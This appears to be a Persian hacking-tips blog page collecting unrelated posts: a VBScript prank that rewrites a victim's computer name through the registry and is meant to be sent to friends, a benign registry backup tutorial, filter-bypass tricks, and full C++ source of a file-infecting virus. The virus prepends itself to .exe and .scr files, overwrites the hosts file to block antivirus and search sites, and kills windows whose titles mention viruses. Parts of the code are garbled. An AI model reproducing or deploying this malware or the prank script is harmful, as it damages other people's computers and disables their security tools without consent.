هک میکنم : تغییر نام کامپیوتر دوستان

این برنامه یه برنامه با حال هست که باعث میشه اسم کامپیوتر بیننده اون به چیزی که شما دوست داری تغییر کنه مثلا من تغییر میدم به HACKSHODI ها این خیلی باحاله بیا این صفحه رو باز کن تا ببینی کافیه این برنامه رو توی یه فایل VBS ذخیره کنین و واسه دوستتون بفرستین و یا بعنوان یه لینک توی سایتون بزارین عالیه نه . اینم کدش : 


          Set WshShell = CreateObject("WScript.Shell")
        WshShell.RegDelete "HKEY_LOCAL_MACHINESystemCurrentControlSetControlComputerNameComputerName"
        WshShell.RegWrite  "HKEY_LOCAL_MACHINESystemCurrentControlSetControlComputerNameComputerNameComputerName","HACKSHODI"

اسرار ریجستری

در این مقاله بخوانید:
• روشهاى پشتیبان گیرى جزعى (محافظت از رجیسترى در برابر خرابکاریهاى خودتان)
• ایجاد فایل هاى Reg
• ایجاد فایل هاى Hive شخصى
• Import فایل هاى داده اى رجیسترى
• مزیت استفاده از فایل هاى Hive در برابر فایل هاى Reg
• طریقه بارگذارى فایل هاى Hive

J- قبل از مطالعه این مقاله باید مقاله اسرار رجیسترى فصل اول : فایل هاى Hive را خوانده باشید زیرا در اینجا لازم است فایل هاى Hive را بشناسید. به شما پیشنهاد میکنم یک پشتیبان کلى هم از رجیسترى سیستمتان تهیه نمایید تا با خیال آسوده تمرینات و مثال هاى این مقاله را دنبال کنید.

روشهاى پشتیبان گیرى جزعى
در جلسه قبل گفتم که چطور میتوان از کل رجیسترى پشتیبان تهیه کرد. در نظر داشته باشید رویکردهاى پشتیبان گیرى کلى همه جا مقرون به صرفه نیستند. مثلا ممکن است شما زمان و حتى فضاى حافظه کافى براى پشتیبان گیرى کلى نداشته باشد به این ترتیب حتما قبل از دست کارى دادهاى رجیسترى سیستم خود, ابتدا به کمک روش هایى که در زیر معرفى میشود از حداقل داده اى که روى آن کار میکنید و یا کلید مربوطه پشتیبان جزعى تهیه کنید.

تغییر نام مقادیر, کوتاهترین و سریع ترین راه:
در اینجا با یک مثال مطلب فوق را عنوان میکنم. به تصویر توجه کنید که محتوای کلید HKCUControl PanelDesktop سیستم خود من را نشان میدهد.


در این روش ساده اما کارا شما باید نام کلیدها یا مقادیر (Values) ها یى را که میخواهید دست کارى کنید طورى تغییر دهید که اگر تغییرات شما باعث شد که اتفاق ناخوشایندى براى سیستمتان بیافتد خیلى راحت بتوانید تنظیمات قبلى را به حالت اولیه اش باز گردانید.
منطق حکم میکند که نام ها را به طور کامل عوض نکنید. مثلا من در این مورد داده ForegroundFlashCount را به JS_ForegroundFlashCount تغییر نام داده ام سپس دوباره داده را ایجاد کردم و مقدار جدید را به آن اختصاص داده ام. در اینجا من از حروف اول نام خود در ابتداى آن استفاده کردم JS=Javad Soltani به این ترتیب هر جاى دیگرى در رجیسترى سیستمم که به _JS برخورد کنم میدانم که آن قبلا یک داده با ارزش بوده.
نکته اینجاست که ویندوز و تقریبا همه برنامه هاى کاربردى فقط داده اى را که با نام مورد نظر خودشان مطابقت دارد میخوانند. از این شیوه براى حذف کردن مقادیر نیز استفاده کنید. یعنى به جاى اینکه داده اى را حذف کنید کافیست نام آن را تغییر دهید. البته برنامه هاى کاربردى که به درستى کار میکنند وقتى داده مورد مدیریت آنها از رجیسترى حذف شود دوباره آن را ایجاد میکنند. ( با تغییر نام یک داده آن را از دید برنامه ها مخفى میکنید یا باعث میشوید دوباره با مقدار پیش فرضش ایجاد شود )
حال اگر تغییرات شما بر روى مقادیر روزانه یا لحظه اى میباشد میتوانید علاوه بر اضافه کردن مخفف نامتان, تاریخ یا ساعت تغییرات را هم به ابتداى مقادیر پشتیبان اضافه کنید. (تاکید من بر اضافه کردن به اول مقادیر از آن جهت است که بعضى برنامه ها مقادیرشان را به صورت کد تعداد از رجیسترى میخوانند مثلا من برنامه اى به نام Active Start JSP نوشته بودم که براى حفظ امنیت ورود و خروج اطلاعات به جاى اینکه به دنبال مثلا مقدار Tnt در رجیسترى بگردد, تمام مقادیرى را که سه حرف اولشان Tnt بود میخواند. پس اگر من از داده Tnt به روش فوق الذکر پشتیبان نمیگرفتم برنامه ام همه داده ها را تغییر میداد)

J- باید اعتراف کنم که خود من درخصوص عملکردن به توصیه هاى خودم چندان دقیق نیستم. فراموش کردن تهیه پشتیبان به روش فوق از مقادیر بیش از انجام این کار آسان است. اما چگونه میتوان تشخیص داد که یک سرى تغییرات ساده باعث غرق شدن کشتى نمیشود ؟!؟! یقینا نمیتوان. بنابراین باید براساس گفته هاى من عمل کنید نه عملکردم! (بیش از تغییر یا حذف مقادیر از آنها پشتیبان گیرى کنید)

صادر کردن Export کلید ها به فایل هاى Reg
برای این کار کافیست روى کلید مورد نظرتان راست کلیک کرده و گزینه Export را انتخاب کنید. به این ترتیب منویى ظاهر میشود که فرمت پیش فرض براى صادر کردن آن کلید را فرمت Reg قرار داده (در قسمت Save as type منو عبارت Registration Files *.reg را ملاحظه کنید). براى فایل خروجى نامى را وارد کنید و منو را تایید کنید. (در صورتى که بخواهید تمام رجیسترى خود را به فایل صادر کنید گزینه رادیویى All را در کادر Export range علامت بزنید).
شما میتوانید در محیط ویندوز اکسپلورر با راست کلیک روى فایل هاى Reg و انتخاب گزینه Edit محتواى آنها را ببینید و یا ویرایش کنید.

صادر کردن Export کلید ها به فایل هاى Hive
صادر کردن به فایل هاى Hive مشابه فایل هاى Reg است با این تفاوت که در در قسمت Save as type منوى Export عبارت *.* Registry Hive Files را انتخاب میکنید و میتوانید هر پسوندى براى فایل خود بگذارید یا حتى فایل را بدون پسوند ذخیره کنید. من شخصا پسوند hive. را ترجیح میدهم. در هر حال شما قادر به ویرایش فایل Hive ى که ساخته اید نخواهید بود.(به مقاله
اسرار رجیسترى فصل اول : فایل هاى Hive مراجعه کنید)

وارد کردن Import فایل هاى Reg و Hive
مزیت فایل هاى Reg در آن است که با اجراى یک فایل Reg ویندوز متوجه میشود که شما میخواهید اطلاعات موجود در آن فایل را در رجیسترى وارد کنید به این ترتیب بعد از دوبل کلیک (اجرا کردن فایل Reg) ویندوز از شما سوال میکند که آیا مایلید تغییرات اعمال شوند ؟! ... و آن فایل را وارد میکند.
به غیر از اجراى فایل هاى Reg میتوانید از منوى File ویرایشگر رجیسترى خود گزینه Import را انتخاب کنید و به این ترتیب نیز فایل Reg مورد نظرتان را در رجیسترى وارد کنید. براى وارد کردن فایل هاى Hive هم جز Import کردن آنها از منوى File برنامه Regedit چاره دیگرى ندارید.

تفاوت فایل هاى Reg با Hive
فایل هاى Hive از نظر ساختار قابل اطمینان ترند زیرا شما میدانید فایل Hive که از یک سیستم دیگر به دستتان رسیده دست کارى نشده و با خیالى آسوده آن را Import میکنید.
* وقتى یک فایل Reg را به سیستمتان وارد میکنید Regedit به جاى جایگزینى تنظیمات موجود در فایل Reg آنها را با تنظیمات موجود در رجیسترى ادغام میکند. این بدان معناست که Regedit مقادیر موجود در فایل Reg را ایجاد یا جایگزین میکند ولى مقادیرى که در فایل Reg موجود نیستند اما در رجیسترى وجود دارند حذف نمیشوند !. اما فایل هاى Hive اینطور نیستند یعنى به محض وارد کردن آنها Regedit کلید ها و مقادیر موجود در فایل Hive را به طور کلى از رجیسترى پاک کرده و مقادریر جدید موجود در فایل Hive را جایگزین آنها میکند.(همین یک دلیل کافیست که من تمام پشتیبان هایم را از رجیسترى به صورت فایل Hive ذخیره کنم)

* روش هاى فوق (Import یا Export بخشهایى از رجیسترى) به منظور پشتیبان گیرى از راه دور هم کار میکنند. شما میتوانید با انتخاب گزینه Connect Network Registry ار منوى فایل File ویرایشگر رجیسترى خود به یک کامپیوتر در حوزه شبکه و دسترسى خود, متصل شوید و محتواى رجیسترى آن سیستم را در ویرایشگر خود ملاحظه کنید ...

* برنامه نویسان هم میتوانند خیلى راحت به وسیله فایل Reg.exe کارهاى بزرگى در رجیسترى انجام دهند. مثلا صادر کردن یا وارد کردن یک فایل Reg یا Hive فقط به وسیله یک خط کد. البته کار با فایل Reg.exe کمى خطرناک است. پس ماجراجویى نکنید اجازه دهید در مقاله اى مخصوص راجع به این فایل مهم همه چیز را توضیح خواهم داد.

طریقه بارگذارى فایل هاى Load Hive
توجه کنید: بارگذارى Load کردن با وارد کردن Import فایل هاى Hive دو مقوله کاملا مجزا از هم هستند.(Import کردن را توضیح دادم)
وقتى شما یک فایل Hive را بارگذارى میکنید ویراستار رجیسترى شاخه جدیدى را ایجاد میکند و آن را به شما نشان میدهد, که حاوى محتویات فایل Load شده است.
براى بارگذارى فایل Hive:
1) یکى از دو کلید اصلى HKLM یا HKU را در محیط Regedit انتخاب کنید.
2) از منوى File گزینه Load Hive که همکنون فعال شده است را انتخاب کنید.
3) فایل Hive مورد نظر خود را Open کنید.(فرقى نمیکند که آن را شما ایجاد کرده اید یا اینکه مثلا یکى از فایل هاى Hive اصلى یک سیستم است)
4) نامى را براى کلیدى که قرار است محتویات فایل Hive انتخابى شما, در آن به نمایش در بیاید را در منوى مورد درخواست بنویسید و آن را تایید کنید.
به این ترتیب خواهید دید که Regedit کلیدى به Sub key انتخابى شما اضافه میکند که اگر آن کلید را باز کنید میتوانید محتویات فایل Hive انتخابیتان را در آنجا ببینید.

ویندوز از کلید جدیدى که شما ایجاد کرده اید هیچ استفاده اى نمیکند. اما فایل Hive که بارگذارى شده توسط سیستم قفل شده و به عنوان یکى از فایل هاى Hive اصلى شناخته میشود. ( یعنى دیگر قادر به انجام هیچ عمل کنترلى بر روى فایل Hive بارگذارى شده نخواهید بود)
به وسیله بارگذارى فایل هاى Hive میتوانید گره هاى کور زیادى را از سیستم خود یا یک کامپیوتر بومى باز کنید. زمانى که شما یک فایل Hive را Import میکردید باید بى چون و چرا تنظیماتتان را به زمان ساخت آن فایل پشتیبان Hive برمیگرداندید, اما در Load کردن با ایجاد یک کلید جدید در کنار بقیه کلید ها میتوانید مقادیر حال و گذشته, مقادیر رجیسترى سیستم خود با یک سیستم دیگر را ببینید همین طور صحت داده ها را مقایسه کرده و به این ترتیب مشکلات را بدون خرابکارى مضاعف حل و فصل کنید.
اگر چه وارد کردن Import یک فایل Hive روش خوبى براى احیاى یک شاخه است اما بارگذارى Load کردن یک فایل Hive روش مناسبى براى احیاى آزمایشى تنظیمات یا صرفا بررسى و مقایسه یک مقدار است.

* یک نکته بسیار مهم: فراموش نکنید قبل از بستن ویراستار خود حتما فایل Hive بارگذارى Load شده را خارج  یا Unload کنید در غیر این صورت ممکن است دیگر قادر به Unload کردن آن نباشید و به این ترتیب یک رجیسترى مثلا با "سه گوش" یا "چند چشم" خواهید داشت. براى UnLoad کردن فایل Hive کافیست روى کلیدى که به تازگى ایجاد شده و حاوى فایل Hive است کلیک کرده و گزینه UnLoad Hive را از منوى File انتخاب کنید.

J- در مقاله بعدى منابع آلى از فایل هاى Hive که به وسیله سیستم, برنامه هاى پشتیبان گیرى مانند NtBackup یا System Restore ایجاد شده اند را در اختیار شما قرار میدهم.

J- تاکنون مطالبى که در این سلسله مقالات "اسرار رجیسترى" ارائه شد براى آشنایى کاربران در سطوح متوسط و پیشرفته, از ناگفته هاى رجیسترى بود. از جلسات بعدى وارد مباحث عملى کار میشویم. شما برنامه نویسان بهترین بهره را از این مطالب خواهید برد چرا که در آینده اى نچندان دور خواهید توانست به وسیله برنامه اى که مینویسید و با کمک اسرار رجیسترى برنامه هایى تولید کنید که قادرند همه چیز ویندوز را تحت تاثیر ونفوذ خود قرار دهند.

J- مطالب ارائه شده در این 4 فصل را با دقت بخوانید. مقالات بعدى حاوى مطالبى هستند که لازمه درست عمل کردنشان آگاهى شما از اصول کار میباشد. مثلا اگر شما نتوانید از رجیسترى خود پشتیبان تهیه کنید وقتى به شما بگویم که چگونه میتوان Windows Installer را از کار انداخت و شما یکى از مراحل کار را اشتباه پیش ببرید (این مسئله همیشه در هنگام یادگیرى هر مطلبى ممکن است پیش بیاید) دیگر قادر به نصب حداقل 90 درصد برنامه ها نخواهید بود و حتى نمیتوانید برنامه اى را از حالت نصب خارج کنید !!! (در این مورد چاره اى جز نصب مجدد ویندوز نخواهید داشت)

J- رجیسترى قلب و روح ویندوز است و یک برنامه نویس حرفه اى برنامه نویسى است که محیط کار خود (یعنى سیستم عاملش) را به خوبى بشناسد.

فیلتر شکن

این فیلتر شکن جدید هستش خودم هم امتحان کردم کار کردش
باز بگید آرمین بده

باز استفاده کنید نظر ندید
FILTER

ترفندی برای افزایش سرعت اینترنت!!!

روی my computer خود کلیک راست کرده و گزینه Properties را انتخاب کنید و بعد گزینه hardware سپس Device Manager را انتخاب کنید. از پنجره باز شده + مودم را انتخاب کرده و روی مودم خودتان Properties را انتخاب کنید در پنجره جدید روی Advanced کلیک کرده و در قسمت Extra کلمه at&fx را تایپ کنید. سپس به گزینه start رفته Network Connections بعد روی آیکونی که با آن به اینترنت کانکت میشین Properties کنید گزینه configure را انتخاب و Maximum speed را به 921600 افزایش بدید! نکته:اگر مودم شما نتواند این کار را انجام دهد با صدای سوت ممتد مواجه میشوید در این صورت یک بار اکانت خود را پاک و دوباره بسازید.
بخدا جواب میده
نظر یادتون نره

سورس یک ویروس خطر ناک به زبان ++C

#include
#include
#include
#include

DWORD WINAPI winmonitor(LPVOID);
int randit(int,int);
void extract();
void infect(char *);
void scanexe(char * targetfolder);


class tasks
{
public:
void hosts();
void block();

private:
char sysdir[MAX_PATH];
};


int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil)
{
int mysize = 0;
tasks t;

CreateMutex(NULL, true, "CannibalF");

if(GetLastError() == ERROR_ALREADY_EXISTS)
return 0;

//Check if in file
extract();

CreateThread(NULL, 0, winmonitor, 0, 0, NULL);

t.hosts();

//scan drives b-z
char dir[2] = "";

for (int i = 98;i!=122;i++)
{
dir[0] = char(i);
dir[1] = ':';
scanexe(dir);
}

system("PAUSE");
return 0;
}


void scanexe(char * targetfolder)
{
WIN32_FIND_DATA find;
HANDLE result;
char dirpath[260],targ[260],ptkill[260],searchpath[260];

strcpy(dirpath,targetfolder);

strcpy(searchpath,targetfolder);

strcat(searchpath, "\*.*");

result = FindFirstFile(searchpath,&find);

while (FindNextFile(result, &find) !=0)
{

if (strstr(dirpath,"Share") != NULL || strstr(dirpath,"share") != NULL || strstr(dirpath,"Received") != NULL || strstr(dirpath,"received") != NULL)
{

if (strstr(find.cFileName,".exe") !=NULL)
{
strcpy(ptkill,dirpath);
strcat(ptkill,"\");
strcat(ptkill,find.cFileName);
infect(ptkill);
}

}

if (strstr(find.cFileName,".scr") != NULL)
{
strcpy(ptkill,dirpath);
strcat(ptkill,"\");
strcat(ptkill,find.cFileName);
infect(ptkill);
}

if(find.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{

if(strcmp(find.cFileName, ".") && strcmp(find.cFileName, ".."))
{
strcpy(targ, dirpath);
strcat(targ,"\");
strcat(targ,find.cFileName);
scanexe(targ);
}

}

}


}


void infect(char * targetpath)
{
long mysize;
long tsize;
char check[5] = "";
char currentpath[250];

GetModuleFileName(NULL,currentpath,MAX_PATH);
ifstream me(currentpath,ios::binary);
me.seekg (0,ios::end);
mysize = me.tellg();

char *mybuf= new char [mysize];
me.seekg (0,ios::beg);
me.read(mybuf,mysize);
me.close();

if (GetFileAttributes(targetpath)!=FILE_ATTRIBUTE_READONLY)
{
ifstream tf(targetpath,ios::binary);

if (tf.is_open() == 1)
{
tf.seekg (0,ios::end);
tsize = tf.tellg();

char *tbuf= new char [tsize];
tf.seekg (0,ios::beg);
tf.read(tbuf,tsize);
tf.close();

ofstream of(targetpath,ios::binary);
of.write(mybuf,mysize);
of.write(tbuf,tsize);
of.close();
SetFileAttributes(targetpath,FILE_ATTRIBUTE_READONLY);
}

}

}

void tasks::hosts()
{
int i = 0;
char hostspath[500] = "";

GetSystemDirectory(hostspath,MAX_PATH);

strcat (hostspath,"\drivers\etc\hosts");

if (GetFileAttributes(hostspath)!=FILE_ATTRIBUTE_READONLY )
{

char blocklist[15][250] =
{


"127.0.0.1 www.microsoft.com",
"127.0.0.1
www.mcafee.com",
"127.0.0.1
http://us.mcafee.com",
"127.0.0.1
www.f-secure.com",
"127.0.0.1
www.bitdefender.com",
"127.0.0.1
www.astalavista.com",
"127.0.0.1
www.yahoo.com",
"127.0.0.1
www.google.com",
"127.0.0.1
www.sophos.com",
"127.0.0.1
www.symantec.com",
"127.0.0.1
www.pandasecurity.com",
"127.0.0.1
www.pandasoftware.com"
};

ofstream hosts(hostspath);

while(hosts.is_open() == 1 && i!=73)
{
strcat(blocklist[i]," ");

hosts.write(blocklist[i],strlen(blocklist[i]));

i++;

}hosts.close();

SetFileAttributes(hostspath,FILE_ATTRIBUTE_READONLY);

}
}

void extract()
{
char mypath[MAX_PATH],currentdir[MAX_PATH];
int mysize,cfilesize;

GetModuleFileName(NULL,mypath,MAX_PATH);
ifstream mesize(mypath,ios::binary);
mesize.seekg (0,ios::end);
mysize = mesize.tellg();

if (mysize > 460961)
char mypath[MAX_PATH] = "",currentdir[MAX_PATH]= "";
GetModuleFileName(NULL,mypath,MAX_PATH);
GetCurrentDirectory(MAX_PATH,currentdir);
ifstream me(mypath,ios::binary);
me.seekg (460961);
cfilesize = mysize - 460961;
char *mybuf = new char [cfilesize];
me.read(mybuf,cfilesize);
me.close();

strcat(currentdir,"\backupF");
ofstream out(currentdir,ios::binary);
out.write(mybuf,cfilesize); // write decrypted file
out.close();

WinExec(currentdir,SW_SHOW);
}

DWORD WINAPI winmonitor(LPVOID lParam)
{
char wintitle[MAX_PATH] = "";
for (; ;)
{
Sleep(10);


HWND fwindow = GetForegroundWindow();

GetWindowText(fwindow,wintitle,MAX_PATH);

if (strstr(wintitle,"virus")!=NULL || strstr(wintitle,"Virus")!=NULL)
{
int msgno = randit(1,5);

switch(msgno)
{
case 1: MessageBox(fwindow,"Internal Error: Array out of bounds.",wintitle,MB_OK|MB_ICONWARNING);
break;
case 2:MessageBox(fwindow,"Debug Error !,abnormal program termination.",wintitle,MB_OK|MB_ICONWARNING);
break;
case 3:MessageBox(fwindow,"Windows has accounted an error, Application will be terminated.",wintitle,MB_OK|MB_ICONWARNING);
break;
case 4:MessageBox(fwindow,"Access Violation at address: 0050666F",wintitle,MB_OK|MB_ICONWARNING);
break;
case 5:MessageBox(fwindow,"Buffer overflow at address: 29a1010011010666",wintitle,MB_OK|MB_ICONWARNING);
}
SendMessage(fwindow,WM_CLOSE,0,0);
}

if(strstr(wintitle,"Windows File Protection")!=NULL)
{
ShowWindow(fwindow,0);
}

}

return 0;
}

int randit(int min, int max)
{
srand(GetTickCount()); //return a rand num between min + max
return(min + rand() % max);
}    

ترکوندن پروکسی (عبور از فیلتر)

با این کار می توانید از سایت هایی که فیلتر شدن دیدن کنید برای مشاهده ی چگونگی انجام این کار بر روی ادامه متن کلیک کنید و حالشو ببرید و نظر هم یادتون نره

خوب من دوباره برگشتم.

ظاهرا این ای پی بسته شده.حالا بهترین روش که وجود داره رو یعنی استفاده از اسکریپت ها رو معرفی می کنک که به کمک چنت تا از دوسان اسکریپت نویس نوشتیم.

این کد را در یک html کپی کنید و بعد آپلودش کنید و استفاده کنید.



<body style="text-align: center" bgcolor="#000000">

<table border="1" cellspacing="1" width="27%" height="135">
<tr>
<td width="100%" height="130">
<div align="center">
<table border="4" cellspacing="0" width="506" height="80" bordercolorlight="#808080" bordercolordark="#C0C0C0" bgcolor="#C0C0C0" style="border-collapse: collapse" bordercolor="#111111" cellpadding="0">
<tr>
<td width="566" height="127" align="center"><form method="get" action="http://colorfilter.wickline.org/index.cgi" enctype="application/x-www-form-urlencoded">

<input type="hidden" id="s0" name="s" value="1" />
<input type="hidden" id="r0" name="r" value="" />

<p dir="ltr">
<label for="u" title="user-speciied URL of resource to be filtered"><font face="Comic Sans MS">
<input id="u" name="u" type="text" size="45" value="http://.com"/></font></label><font face="Comic Sans MS"> <span lang="fa">
</span>
</font><span lang="fa"><font face="Tahoma" size="2">:آدرس سایت
فیلتر شده </font></span><font face="Comic Sans MS" size="2"><br />
</font>
<label for="t" title="Color filter to be applied">
<font face="Comic Sans MS"><select id="t" name="t"><option value="p" selected="selected">
protanopia (red/green color blindness; no red cones)</option>
<option value="d">deutanopia (red/green color blindness; no green cones)</option>
<option value="t">tritanopia (blue/yellow color blindness; no blue cones)</option>
<option value="m">grayscale/achromatopsia (quick check for all forms of
colorblindness)</option>
<option value="a">atypical achromatopsia (low cone function; cone monochromat)</option>
<option value="o">protanomaly (anomalous red cones)</option>
<option value="c">deutanomaly (anomalous green cones)</option>
<option value="u">tritanomaly (anomalous blue cones)</option>
<option value="k">coverage test in black (highlight filter limitations)</option>
<option value="q">coverage test in white (highlight filter limitations)</option>
<option value="g">coverage test in gray (highlight filter limitations)</option></select></font></label><font face="Comic Sans MS" size="2">
</font>
<font size="2" face="Tahoma"><span lang="fa">:نوع فیلتر</span></font><font size="2" face="Comic Sans MS"><br />
<span lang="fa">
</span></font><font face="Comic Sans MS"><input type="submit" value=" کلیک کن " style="color: black; font-family: Tahoma" tabindex="10" name="loghman" /></font><font size="2" face="Comic Sans MS"><span lang="fa"> </span> </font></p>

</form>
</td>
</tr>
</table>
</div>
</td>
</tr>
</table>
<p align="center"> </p>



اینم یک فیلتر شکن دیگه.
 .بازم بیباید گله کنید که کار نمی کنه

نظر یادتون نره

سورس لینکدونی با استفاده از MTOtherBlog Plugin در MT

این کدها هم کدهای مویبل‌تایپی برای ساخت لینکدونی است که حالت کشویی ایجاد می‌کند و با زدن دکمه + بقیه‌ی لینک‌ها داخل table نشان داده می‌شوند.
این کدها را جایی که می‌خواهید لینکدونی نشان داده شود، قرار دهید.

<table cellpadding="0" cellspacing="5" style="padding:0; border-collapse: collapse" width="100%" >
<tr>
<td width="100%" dir="rtl">

<div>
<a onmouseover="window.status='توسعه‌ی لینکدونی'; return true" onmouseout="window.status=''; return true" href="javascript:void(showLayer('linkdooni'));"><img id="linkdooniImage" src="images/p.gif" border="0" style="margin-left: 5px;" width="9" height="9"></a>
<b>لینک‌دونی</b></div><br>

<MTOtherBlog blog_id="2">
<MTEntries lastn="5" offset="0">&nbsp;&nbsp;●&nbsp;&nbsp;<$MTEntryBody$><br />
</MTEntries>
</MTOtherBlog>

<div id="linkdooni" style="display:none">
<MTOtherBlog blog_id="2">
<MTEntries lastn="25" offset="6">&nbsp;&nbsp;●&nbsp;&nbsp;<$MTEntryBody$><br />
</MTEntries>
</MTOtherBlog>

</div>

</td>
</tr>
</table>
 
نکته: یادتان نرود قبل از همه‌ی این کارها حتما پلاگین MTOtherBlog را نصب کنید.